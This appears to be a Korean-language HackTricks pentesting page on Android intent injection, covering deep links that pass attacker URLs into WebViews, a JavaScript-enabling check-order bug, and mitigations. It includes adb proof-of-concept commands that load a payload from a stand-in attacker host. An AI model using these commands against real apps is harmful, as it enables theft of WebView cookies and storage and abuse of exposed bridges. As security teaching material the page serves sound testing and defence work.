Intent Injection

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Intent injection은 공격자가 제어하는 Intents 또는 나중에 Intents로 변환되는 데이터를 수용하는 구성 요소를 악용합니다. Android 앱 펜테스트 중 매우 일반적인 두 가지 패턴은 다음과 같습니다:

  • 특수 제작된 extras를 내보낸 Activities/Services/BroadcastReceivers에 전달하여 나중에 특권이 있는 비내보낸 구성 요소로 전달합니다.
  • 공격자가 제어하는 URL을 내부 WebViews 또는 기타 민감한 싱크로 전달하는 내보낸 VIEW/BROWSABLE 딥 링크를 트리거합니다.

앱이 다음과 같은 사용자 정의 스킴 딥 링크를 노출하는 경우:

text
myscheme://com.example.app/web?url=<attacker_url>

수신하는 Activity가 url 쿼리 매개변수를 WebView로 전달하면, 앱이 자신의 WebView 컨텍스트에서 임의의 원격 콘텐츠를 렌더링하도록 강제할 수 있습니다.

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS는 앱의 WebView 프로필 내에서 실행됩니다.
  • JavaScript가 활성화된 경우(기본값 또는 잘못된 순서의 검사로 인해), 노출된 @JavascriptInterface 객체를 열거/사용하고, WebView 쿠키/로컬 스토리지를 훔치고, 피벗할 수 있습니다.

See also:

Webview Attacks

JavaScript를 활성화하는 체크 순서 버그

반복적으로 발생하는 버그는 최종 URL 허용 목록/검증이 완료되기 전에 JavaScript(또는 기타 허용된 WebView 설정)를 활성화하는 것입니다. 초기 헬퍼가 당신의 딥 링크를 수용하고 WebView가 먼저 구성되면, 최종 로드는 나중의 체크가 결함이 있거나 너무 늦더라도 이미 JavaScript가 활성화된 상태에서 발생합니다.

디컴파일된 코드에서 찾아야 할 사항:

  • URL을 다르게 파싱/분할/재구성하는 여러 헬퍼(일관되지 않은 정규화).
  • 마지막 호스트/경로 허용 목록 체크 전에 getSettings().setJavaScriptEnabled(true) 호출.
  • 다음과 같은 파이프라인: 파싱 → 부분 검증 → WebView 구성 → 최종 검증 → loadUrl.

Mitigations

  • 한 번 정규화하고 엄격하게 검증; 실패 시 닫기.
  • 모든 체크가 통과한 후 신뢰할 수 있는 콘텐츠를 로드하기 직전에만 JavaScript를 활성화합니다.
  • 신뢰할 수 없는 출처에 브리지를 노출하지 마십시오.

기타 고전적인 Intent 주입 원시

  • 공격자가 제공한 Intent 추가 정보를 사용하여 startActivity/sendBroadcast를 실행하고, 이후 다시 파싱(Intent.parseUri(...))하여 실행합니다.
  • 권한 체크 없이 Intents를 비공식적인 민감한 구성 요소로 전달하는 내보내기된 프록시 구성 요소.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기